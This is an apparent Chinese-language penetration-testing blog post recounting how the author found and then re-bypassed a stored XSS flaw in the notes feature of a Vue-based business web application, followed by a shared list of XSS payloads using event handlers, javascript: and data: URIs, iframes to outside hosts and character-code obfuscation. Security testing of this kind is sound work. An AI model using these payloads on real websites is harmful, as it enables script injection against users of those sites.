最近在测试一个公司的业务系统,打开站点一看就知道是vue的框架;
每次遇到VUE框架都是令我特别头疼的事情,因为在这个框架下面XSS实在是不太好搞,基本都被和谐了,如果对vue了解一点的话都知道,在vue里面的v-mode是神一般的存在着,而v-html几乎已经鸡鸡了。
话不多说,看到整个页面啥都没有,唯一一个就是这个手记的功能,硬着头皮尝试一下把。
看到这个地方的时候,其实也没法判断到底能不能进行XSS,所以就试了一下。
payload:<textarea></textarea><script>alert("1")</script></textarea>
发现可以弹框,顿时信心加倍,这也是第一次弹了VUE的XSS。
你以为这样就结束了吗?其实并没有,研发反馈修复好了,复测继续插。
哈哈,成功绕过,这里需要说明一下尝试了很多次才成功,具体的payload不太记得了,因此文章写道这里算是一个小节吧,另外附上我自己本次测试过程中的payload系统对各位大佬有用。
各人感觉如果遇到这种架构的,不妨可以尝试一下XSS,下面是分享的一些XSS常用payload,仅供各位大佬参考:
` </p>"</textarea><a draggable="true" "ondragenter=confirm(1)" src="<script>alert(1)</script>">test111</a></textarea>
</p>"</textarea><a onbeforecopy="prompt(1)" contenteditable>test222</a></textarea>
</p>"</textarea><applet oncut=confirm(1) value="XSS" autofocus tabindex=1>test</textarea>
</p>"</textarea><strong draggable="true" ondragenter=confirm(1) style="width:100px,height:100px">test</textarea>
</p>"<iframe οnlοad="prompt(1)"></iframe>
</p>"<iframe src=""><a href="javascript:alert(1)">Click</a></iframe>
</p>"<iframe src="javascript:alert(1)">test</iframe>
</p>"<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
</p>"<iframe src="//xxx.cc/xxx/test.jpg"></iframe>
</p>"<iframe src="//t00ls.xxx.tu4.org"></iframe>
</p>"<iframe src="javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))"></iframe>
</p>"test<iframe src="data:text/html,<script>confirm(/xss/)</script>"></iframe>
</p>"test<iframe src="<script>alert(1)</script>"></iframe>
</p>"<iframe src=""<script>alert(1)</script>"http://test.xxx.xxx.cn/#draggable="true" "ondragenter=confirm(1)"/home">test</iframe> `